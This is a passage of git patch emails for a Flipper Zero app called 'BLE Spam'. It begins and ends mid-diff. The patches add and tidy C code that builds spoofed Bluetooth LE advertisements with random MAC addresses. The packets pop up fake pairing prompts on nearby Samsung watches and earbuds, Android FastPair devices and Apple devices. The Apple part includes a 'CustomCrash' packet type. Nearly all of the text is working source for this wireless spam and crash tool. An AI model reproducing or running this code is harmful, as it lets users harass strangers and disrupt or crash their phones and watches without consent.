SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_smartthings_data_custom_on_exit(void* _ctx) { +void scene_smartthings_buds_model_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; - cfg->data = + cfg->data.buds.model = (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } diff --git a/applications/external/ble_spam/protocols/smartthings.h b/applications/external/ble_spam/protocols/smartthings.h index 7fc39b174..38717abd0 100644 --- a/applications/external/ble_spam/protocols/smartthings.h +++ b/applications/external/ble_spam/protocols/smartthings.h @@ -4,8 +4,18 @@ // Hacked together by @Willy-JL and @Spooks4576 // Research by @Spooks4576 +typedef enum { + SmartthingsTypeBuds, + SmartthingsTypeMAX, +} SmartthingsType; + typedef struct { - uint32_t data; + SmartthingsType type; + union { + struct { + uint32_t model; + } buds; + } data; } SmartthingsCfg; extern const Protocol protocol_smartthings; diff --git a/applications/external/ble_spam/protocols/smartthings_scenes.h b/applications/external/ble_spam/protocols/smartthings_scenes.h index 81b4fcb80..d765e4922 100644 --- a/applications/external/ble_spam/protocols/smartthings_scenes.h +++ b/applications/external/ble_spam/protocols/smartthings_scenes.h @@ -1,2 +1,2 @@ -ADD_SCENE(smartthings_data, SmartthingsData) -ADD_SCENE(smartthings_data_custom, SmartthingsDataCustom) +ADD_SCENE(smartthings_buds_model, SmartthingsBudsModel) +ADD_SCENE(smartthings_buds_model_custom, SmartthingsBudsModelCustom) From 857b8815543c4e3a40da62009a4e956cba2cc04a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 02:43:02 +0100 Subject: [PATCH 41/56] BLE Spam add 7 more FastPair models Thanks @DiamondRoPlayz and @xAstroBoy ! --- applications/external/ble_spam/protocols/fastpair.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 0f6cdd146..6744ac005 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -16,6 +16,9 @@ const struct { {0x92BBBD, "Pixel Buds"}, {0xD446A7, "Sony XM5"}, {0x2D7A23, "Sony WF-1000XM4"}, + {0x0E30C3, "Razer Hammerhead TWS"}, + {0x72EF8D, "Razer Hammerhead TWS X"}, + {0x72FB00, "Soundcore Spirit Pro GVA"}, // Custom debug popups {0xD99CA1, "Flipper Zero"}, @@ -29,6 +32,10 @@ const struct { {0x0C0B67, "Xtreme Cta"}, {0x13B39D, "Talking Sasquach"}, {0xAA1FE1, "ClownMaster"}, + {0x7C6CDB, "Obama"}, + {0x005EF9, "Ryanair"}, + {0xE2106F, "FBI"}, + {0xB37A62, "Tesla"}, }; const uint8_t models_count = COUNT_OF(models); From 4a97cb40b860b2e761f0bdfb776bdd726c6efaeb Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 03:54:59 +0100 Subject: [PATCH 42/56] BLE Spam add Samsung Watch spam --- applications/external/ble_spam/ble_spam.c | 25 ++- .../external/ble_spam/protocols/smartthings.c | 198 ++++++++++++++++++ .../external/ble_spam/protocols/smartthings.h | 4 + .../ble_spam/protocols/smartthings_scenes.h | 2 + 4 files changed, 227 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index d929a4f6c..ae5d761c1 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -88,7 +88,7 @@ static Attack attacks[] = { }, }, { - .title = "Samsung Buds Pair", + .title = "Samsung Buds Popup", .text = "No cooldown, long range", .protocol = &protocol_smartthings, .payload = @@ -96,7 +96,28 @@ static Attack attacks[] = { .random_mac = true, .cfg = { - .smartthings = {}, + .smartthings = + { + .type = SmartthingsTypeBuds, + .data = {}, + }, + }, + }, + }, + { + .title = "Samsung Watch Pair", + .text = "No cooldown, long range", + .protocol = &protocol_smartthings, + .payload = + { + .random_mac = true, + .cfg = + { + .smartthings = + { + .type = SmartthingsTypeWatch, + .data = {}, + }, }, }, }, diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index 61e91f5ea..d53f12846 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -21,8 +21,42 @@ const struct { }; const uint8_t buds_models_count = COUNT_OF(buds_models); +const struct { + uint8_t value; + const char* name; +} watch_models[] = { + {0x01, "White Watch4 Classic 44"}, + {0x02, "Black Watch4 Classic 40"}, + {0x03, "White Watch4 Classic 40"}, + {0x04, "Black Watch4 44mm"}, + {0x05, "Silver Watch4 44mm"}, + {0x06, "Green Watch4 44mm"}, + {0x07, "Black Watch4 40mm"}, + {0x08, "White Watch4 40mm"}, + {0x09, "Gold Watch4 40mm"}, + {0x0a, "French Watch4"}, + {0x0b, "French Watch4 Classic"}, + {0x0c, "Fox Watch5 44mm"}, + {0x11, "Black Watch5 44mm"}, + {0x12, "Sapphire Watch5 44mm"}, + {0x13, "Purpleish Watch5 40mm"}, + {0x14, "Gold Watch5 40mm"}, + {0x15, "Black Watch5 Pro 45mm"}, + {0x16, "Gray Watch5 Pro 45mm"}, + {0x17, "White Watch5 44mm"}, + {0x18, "White & Black Watch5"}, + {0x1b, "Black Watch6 Pink 40mm"}, + {0x1c, "Gold Watch6 Gold 40mm"}, + {0x1d, "Silver Watch6 Cyan 44mm"}, + {0x1e, "Black Watch6 Classic 43mm"}, + {0x20, "Green Goofy"}, + {0x1a, "Fallback Watch"}, +}; +const uint8_t watch_models_count = COUNT_OF(watch_models); + static const char* type_names[SmartthingsTypeMAX] = { [SmartthingsTypeBuds] = "SmartThings Buds", + [SmartthingsTypeWatch] = "SmartThings Watch", }; static const char* smartthings_get_name(const ProtocolCfg* _cfg) { const SmartthingsCfg* cfg = &_cfg->smartthings; @@ -31,6 +65,7 @@ static const char* smartthings_get_name(const ProtocolCfg* _cfg) { static uint8_t packet_sizes[SmartthingsTypeMAX] = { [SmartthingsTypeBuds] = 31, + [SmartthingsTypeWatch] = 15, }; void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { const SmartthingsCfg* cfg = _cfg ? &_cfg->smartthings : NULL; @@ -90,6 +125,31 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot // Truncated AD segment, Android seems to fill in the rest with zeros break; } + case SmartthingsTypeWatch: { + uint8_t model; + if(cfg && cfg->data.watch.model != 0x00) { + model = cfg->data.watch.model; + } else { + model = watch_models[rand() % watch_models_count].value; + } + + packet[i++] = 14; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + packet[i++] = 0x00; // ... + packet[i++] = 0x01; + packet[i++] = 0x00; + packet[i++] = 0x02; + packet[i++] = 0x00; + packet[i++] = 0x01; + packet[i++] = 0x01; + packet[i++] = 0xFF; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x43; + packet[i++] = (model >> 0x00) & 0xFF; + break; + } default: break; } @@ -102,6 +162,10 @@ enum { _ConfigBudsExtraStart = ConfigExtraStart, ConfigBudsModel, }; +enum { + _ConfigWatchExtraStart = ConfigExtraStart, + ConfigWatchModel, +}; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; @@ -117,6 +181,16 @@ static void config_callback(void* _ctx, uint32_t index) { } break; } + case SmartthingsTypeWatch: { + switch(index) { + case ConfigWatchModel: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsWatchModel); + break; + default: + break; + } + break; + } default: break; } @@ -133,6 +207,18 @@ static void buds_model_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } +static void watch_model_changed(VariableItem* item) { + SmartthingsCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.watch.model = watch_models[index].value; + variable_item_set_current_value_text(item, watch_models[index].name); + } else { + cfg->data.watch.model = 0x00; + variable_item_set_current_value_text(item, "Random"); + } +} static void smartthings_extra_config(Ctx* ctx) { SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; VariableItemList* list = ctx->variable_item_list; @@ -166,6 +252,32 @@ static void smartthings_extra_config(Ctx* ctx) { variable_item_set_current_value_text(item, model_name); break; } + case SmartthingsTypeWatch: { + item = variable_item_list_add( + list, "Model", watch_models_count + 1, watch_model_changed, cfg); + const char* model_name = NULL; + char model_name_buf[3]; + if(cfg->data.watch.model == 0x00) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < watch_models_count; i++) { + if(cfg->data.watch.model == watch_models[i].value) { + model_name = watch_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model); + model_name = model_name_buf; + value_index = watch_models_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + break; + } default: break; } @@ -268,3 +380,89 @@ void scene_smartthings_buds_model_custom_on_exit(void* _ctx) { cfg->data.buds.model = (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } + +static void watch_model_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + switch(index) { + case 0: + cfg->data.watch.model = 0x00; + scene_manager_previous_scene(ctx->scene_manager); + break; + case watch_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsWatchModelCustom); + break; + default: + cfg->data.watch.model = watch_models[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_smartthings_watch_model_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx); + if(cfg->data.watch.model == 0x00) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < watch_models_count; i++) { + submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx); + if(!found && cfg->data.watch.model == watch_models[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx); + if(!found) { + found = true; + selected = watch_models_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_smartthings_watch_model_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_smartthings_watch_model_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void watch_model_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_smartthings_watch_model_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model"); + + ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_smartthings_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_smartthings_watch_model_custom_on_exit(void* _ctx) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + cfg->data.watch.model = (ctx->byte_store[0] << 0x00); +} diff --git a/applications/external/ble_spam/protocols/smartthings.h b/applications/external/ble_spam/protocols/smartthings.h index 38717abd0..36c3e9e81 100644 --- a/applications/external/ble_spam/protocols/smartthings.h +++ b/applications/external/ble_spam/protocols/smartthings.h @@ -6,6 +6,7 @@ typedef enum { SmartthingsTypeBuds, + SmartthingsTypeWatch, SmartthingsTypeMAX, } SmartthingsType; @@ -15,6 +16,9 @@ typedef struct { struct { uint32_t model; } buds; + struct { + uint8_t model; + } watch; } data; } SmartthingsCfg; diff --git a/applications/external/ble_spam/protocols/smartthings_scenes.h b/applications/external/ble_spam/protocols/smartthings_scenes.h index d765e4922..d184880da 100644 --- a/applications/external/ble_spam/protocols/smartthings_scenes.h +++ b/applications/external/ble_spam/protocols/smartthings_scenes.h @@ -1,2 +1,4 @@ ADD_SCENE(smartthings_buds_model, SmartthingsBudsModel) ADD_SCENE(smartthings_buds_model_custom, SmartthingsBudsModelCustom) +ADD_SCENE(smartthings_watch_model, SmartthingsWatchModel) +ADD_SCENE(smartthings_watch_model_custom, SmartthingsWatchModelCustom) From 8fe0650bed9f52883fe7cb3f841c96d73cccbf73 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 03:55:37 +0100 Subject: [PATCH 43/56] BLE Spam fix some Samsung Buds things --- .../external/ble_spam/protocols/smartthings.c | 38 ++++++++++++------- 1 file changed, 24 insertions(+), 14 deletions(-) diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index d53f12846..5b37518d2 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -8,16 +8,26 @@ const struct { uint32_t value; const char* name; } buds_models[] = { - {0x39EA48, "Light Purple Buds"}, {0xA7C62C, "Bluish Silver Buds"}, - {0x850116, "Black Buds Live"}, {0x3D8F41, "Gray and Black Buds"}, - {0x3B6D02, "Bluish Chrome Buds"}, {0xAE063C, "Grey Beige Buds"}, - {0xB8B905, "Pure White Buds V2"}, {0xEAAA17, "Pure White Buds"}, - {0xD30704, "Black Buds V2"}, {0x101F1A, "Dark Purple Buds Live"}, - {0x9DB006, "French Flag Buds V2"}, {0x859608, "Dark Blue Buds V2"}, - {0x8E4503, "Pink Buds V2"}, {0x2C6740, "White and Black Buds"}, - {0x3F6718, "Bronze Buds Live"}, {0x42C519, "Red Buds Live"}, - {0xAE073A, "Black and White Buds"}, {0x011716, "Sleek Black Buds"}, - {0x9D1700, "Fallback Image"}, {0xEE7A0C, "Fallback Buds"}, + {0x39EA48, "Light Purple Buds2"}, + {0xA7C62C, "Bluish Silver Buds2"}, + {0x850116, "Black Buds Live"}, + {0x3D8F41, "Gray & Black Buds2"}, + {0x3B6D02, "Bluish Chrome Buds2"}, + {0xAE063C, "Gray Beige Buds2"}, + {0xB8B905, "Pure White Buds"}, + {0xEAAA17, "Pure White Buds2"}, + {0xD30704, "Black Buds"}, + {0x9DB006, "French Flag Buds"}, + {0x101F1A, "Dark Purple Buds Live"}, + {0x859608, "Dark Blue Buds"}, + {0x8E4503, "Pink Buds"}, + {0x2C6740, "White & Black Buds2"}, + {0x3F6718, "Bronze Buds Live"}, + {0x42C519, "Red Buds Live"}, + {0xAE073A, "Black & White Buds2"}, + {0x011716, "Sleek Black Buds2"}, + {0x9D1700, "Fallback Image"}, + {0xEE7A0C, "Fallback Buds"}, }; const uint8_t buds_models_count = COUNT_OF(buds_models); @@ -103,20 +113,20 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot packet[i++] = 0x03; packet[i++] = 0x21; packet[i++] = 0x01; - packet[i++] = 0x00; + packet[i++] = 0x09; packet[i++] = (model >> 0x10) & 0xFF; packet[i++] = (model >> 0x08) & 0xFF; packet[i++] = 0x01; packet[i++] = (model >> 0x00) & 0xFF; packet[i++] = 0x06; packet[i++] = 0x3C; + packet[i++] = 0x94; + packet[i++] = 0x8e; packet[i++] = 0x00; packet[i++] = 0x00; packet[i++] = 0x00; packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; + packet[i++] = 0xc7; packet[i++] = 0x00; packet[i++] = 16; // Size From 9d3e347f35fa04652fa9e4dd90a70c4e1b5e7ee1 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 04:36:38 +0100 Subject: [PATCH 44/56] Tidy up some code and patterns --- .../external/ble_spam/protocols/continuity.c | 183 +++++++++--------- .../external/ble_spam/protocols/continuity.h | 6 +- .../ble_spam/protocols/continuity_scenes.h | 8 +- .../external/ble_spam/protocols/fastpair.c | 83 ++++---- .../external/ble_spam/protocols/fastpair.h | 2 +- .../ble_spam/protocols/fastpair_scenes.h | 4 +- .../external/ble_spam/protocols/smartthings.c | 36 ++-- .../external/ble_spam/protocols/smartthings.h | 2 +- .../external/ble_spam/protocols/swiftpair.c | 38 ++-- .../external/ble_spam/protocols/swiftpair.h | 2 +- .../ble_spam/protocols/swiftpair_scenes.h | 2 +- .../external/ble_spam/scenes/_setup.c | 2 +- .../external/ble_spam/scenes/_setup.h | 2 +- 13 files changed, 183 insertions(+), 187 deletions(-) diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 24940dd40..e253f65c1 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -7,7 +7,7 @@ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ const struct { - uint16_t id; + uint16_t value; const char* name; } pp_models[] = { {0x0E20, "AirPods Pro"}, @@ -43,7 +43,7 @@ const struct { const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes); const struct { - uint8_t type; + uint8_t value; const char* name; } na_actions[] = { {0x13, "AppleTV AutoFill"}, @@ -61,7 +61,7 @@ const struct { }; const uint8_t na_actions_count = COUNT_OF(na_actions); -static const char* type_names[ContinuityTypeCount] = { +static const char* type_names[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = "AirDrop", [ContinuityTypeProximityPair] = "Proximity Pair", [ContinuityTypeAirplayTarget] = "Airplay Target", @@ -77,7 +77,7 @@ static const char* continuity_get_name(const ProtocolCfg* _cfg) { } #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size -static uint8_t packet_sizes[ContinuityTypeCount] = { +static uint8_t packet_sizes[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = HEADER_LEN + 18, [ContinuityTypeProximityPair] = HEADER_LEN + 25, [ContinuityTypeAirplayTarget] = HEADER_LEN + 6, @@ -138,26 +138,26 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot } case ContinuityTypeProximityPair: { - uint16_t model_id; - if(cfg && cfg->data.proximity_pair.model_id != 0x0000) { - model_id = cfg->data.proximity_pair.model_id; + uint16_t model; + if(cfg && cfg->data.proximity_pair.model != 0x0000) { + model = cfg->data.proximity_pair.model; } else { - model_id = pp_models[rand() % pp_models_count].id; + model = pp_models[rand() % pp_models_count].value; } uint8_t prefix; if(cfg && cfg->data.proximity_pair.prefix == 0x00) { prefix = cfg->data.proximity_pair.prefix; } else { - if(model_id == 0x0055 || model_id == 0x0030) + if(model == 0x0055 || model == 0x0030) prefix = 0x05; else prefix = 0x01; } packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05) - packet[i++] = (model_id >> 0x08) & 0xFF; - packet[i++] = (model_id >> 0x00) & 0xFF; + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = (model >> 0x00) & 0xFF; packet[i++] = 0x55; // Status packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level @@ -209,23 +209,23 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot case ContinuityTypeNearbyAction: { uint8_t action; - if(cfg && cfg->data.nearby_action.type != 0x00) { - action = cfg->data.nearby_action.type; + if(cfg && cfg->data.nearby_action.action != 0x00) { + action = cfg->data.nearby_action.action; } else { - action = na_actions[rand() % na_actions_count].type; + action = na_actions[rand() % na_actions_count].value; } - uint8_t flag; + uint8_t flags; if(cfg && cfg->data.nearby_action.flags != 0x00) { - flag = cfg->data.nearby_action.flags; + flags = cfg->data.nearby_action.flags; } else { - flag = 0xC0; - if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' - if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' + flags = 0xC0; + if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?' + if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device' } - packet[i++] = flag; // Action Flags - packet[i++] = action; // Action Type + packet[i++] = flags; + packet[i++] = action; furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag i += 3; break; @@ -243,16 +243,16 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot case ContinuityTypeCustomCrash: { // Found by @ECTO-1A - uint8_t action = na_actions[rand() % na_actions_count].type; - uint8_t flag = 0xC0; - if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' - if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' + uint8_t action = na_actions[rand() % na_actions_count].value; + uint8_t flags = 0xC0; + if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?' + if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device' i -= 2; // Override segment header packet[i++] = ContinuityTypeNearbyAction; // Continuity Type packet[i++] = 0x05; // Continuity Size - packet[i++] = flag; // Action Flags - packet[i++] = action; // Action Type + packet[i++] = flags; + packet[i++] = action; furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag i += 3; @@ -275,12 +275,12 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot enum { _ConfigPpExtraStart = ConfigExtraStart, - ConfigPpModelId, + ConfigPpModel, ConfigPpPrefix, }; enum { _ConfigNaExtraStart = ConfigExtraStart, - ConfigNaActionType, + ConfigNaAction, ConfigNaFlags, }; static void config_callback(void* _ctx, uint32_t index) { @@ -290,8 +290,8 @@ static void config_callback(void* _ctx, uint32_t index) { switch(cfg->type) { case ContinuityTypeProximityPair: { switch(index) { - case ConfigPpModelId: - scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelId); + case ConfigPpModel: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel); break; case ConfigPpPrefix: scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix); @@ -303,8 +303,8 @@ static void config_callback(void* _ctx, uint32_t index) { } case ContinuityTypeNearbyAction: { switch(index) { - case ConfigNaActionType: - scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionType); + case ConfigNaAction: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction); break; case ConfigNaFlags: scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags); @@ -318,15 +318,15 @@ static void config_callback(void* _ctx, uint32_t index) { break; } } -static void pp_model_id_changed(VariableItem* item) { +static void pp_model_changed(VariableItem* item) { ContinuityCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; - cfg->data.proximity_pair.model_id = pp_models[index].id; + cfg->data.proximity_pair.model = pp_models[index].value; variable_item_set_current_value_text(item, pp_models[index].name); } else { - cfg->data.proximity_pair.model_id = 0x0000; + cfg->data.proximity_pair.model = 0x0000; variable_item_set_current_value_text(item, "Random"); } } @@ -342,15 +342,15 @@ static void pp_prefix_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Auto"); } } -static void na_action_type_changed(VariableItem* item) { +static void na_action_changed(VariableItem* item) { ContinuityCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; - cfg->data.nearby_action.type = na_actions[index].type; + cfg->data.nearby_action.action = na_actions[index].value; variable_item_set_current_value_text(item, na_actions[index].name); } else { - cfg->data.nearby_action.type = 0x00; + cfg->data.nearby_action.action = 0x00; variable_item_set_current_value_text(item, "Random"); } } @@ -362,16 +362,16 @@ static void continuity_extra_config(Ctx* ctx) { switch(cfg->type) { case ContinuityTypeProximityPair: { - item = variable_item_list_add( - list, "Model ID", pp_models_count + 1, pp_model_id_changed, cfg); + item = + variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg); const char* model_name = NULL; char model_name_buf[5]; - if(cfg->data.proximity_pair.model_id == 0x0000) { + if(cfg->data.proximity_pair.model == 0x0000) { model_name = "Random"; value_index = 0; } else { for(uint8_t i = 0; i < pp_models_count; i++) { - if(cfg->data.proximity_pair.model_id == pp_models[i].id) { + if(cfg->data.proximity_pair.model == pp_models[i].value) { model_name = pp_models[i].name; value_index = i + 1; break; @@ -379,10 +379,7 @@ static void continuity_extra_config(Ctx* ctx) { } if(!model_name) { snprintf( - model_name_buf, - sizeof(model_name_buf), - "%04X", - cfg->data.proximity_pair.model_id); + model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model); model_name = model_name_buf; value_index = pp_models_count + 1; } @@ -421,15 +418,15 @@ static void continuity_extra_config(Ctx* ctx) { } case ContinuityTypeNearbyAction: { item = variable_item_list_add( - list, "Action Type", na_actions_count + 1, na_action_type_changed, cfg); + list, "Action Type", na_actions_count + 1, na_action_changed, cfg); const char* action_name = NULL; char action_name_buf[3]; - if(cfg->data.nearby_action.type == 0x00) { + if(cfg->data.nearby_action.action == 0x00) { action_name = "Random"; value_index = 0; } else { for(uint8_t i = 0; i < na_actions_count; i++) { - if(cfg->data.nearby_action.type == na_actions[i].type) { + if(cfg->data.nearby_action.action == na_actions[i].value) { action_name = na_actions[i].name; value_index = i + 1; break; @@ -437,7 +434,10 @@ static void continuity_extra_config(Ctx* ctx) { } if(!action_name) { snprintf( - action_name_buf, sizeof(action_name_buf), "%02X", cfg->data.nearby_action.type); + action_name_buf, + sizeof(action_name_buf), + "%02X", + cfg->data.nearby_action.action); action_name = action_name_buf; value_index = na_actions_count + 1; } @@ -477,24 +477,24 @@ const Protocol protocol_continuity = { .extra_config = continuity_extra_config, }; -static void pp_model_id_callback(void* _ctx, uint32_t index) { +static void pp_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; switch(index) { case 0: - cfg->data.proximity_pair.model_id = 0x0000; + cfg->data.proximity_pair.model = 0x0000; scene_manager_previous_scene(ctx->scene_manager); break; case pp_models_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelIdCustom); + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom); break; default: - cfg->data.proximity_pair.model_id = pp_models[index - 1].id; + cfg->data.proximity_pair.model = pp_models[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; } } -void scene_continuity_pp_model_id_on_enter(void* _ctx) { +void scene_continuity_pp_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; Submenu* submenu = ctx->submenu; @@ -502,19 +502,19 @@ void scene_continuity_pp_model_id_on_enter(void* _ctx) { bool found = false; submenu_reset(submenu); - submenu_add_item(submenu, "Random", 0, pp_model_id_callback, ctx); - if(cfg->data.proximity_pair.model_id == 0x0000) { + submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx); + if(cfg->data.proximity_pair.model == 0x0000) { found = true; selected = 0; } for(uint8_t i = 0; i < pp_models_count; i++) { - submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_id_callback, ctx); - if(!found && cfg->data.proximity_pair.model_id == pp_models[i].id) { + submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx); + if(!found && cfg->data.proximity_pair.model == pp_models[i].value) { found = true; selected = i + 1; } } - submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_id_callback, ctx); + submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx); if(!found) { found = true; selected = pp_models_count + 1; @@ -524,45 +524,44 @@ void scene_continuity_pp_model_id_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_continuity_pp_model_id_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_continuity_pp_model_id_on_exit(void* _ctx) { +void scene_continuity_pp_model_on_exit(void* _ctx) { UNUSED(_ctx); } -static void pp_model_id_custom_callback(void* _ctx) { +static void pp_model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_continuity_pp_model_id_custom_on_enter(void* _ctx) { +void scene_continuity_pp_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; ByteInput* byte_input = ctx->byte_input; - byte_input_set_header_text(byte_input, "Enter custom Model ID"); + byte_input_set_header_text(byte_input, "Enter custom Model Code"); - ctx->byte_store[0] = (cfg->data.proximity_pair.model_id >> 0x08) & 0xFF; - ctx->byte_store[1] = (cfg->data.proximity_pair.model_id >> 0x00) & 0xFF; + ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF; + 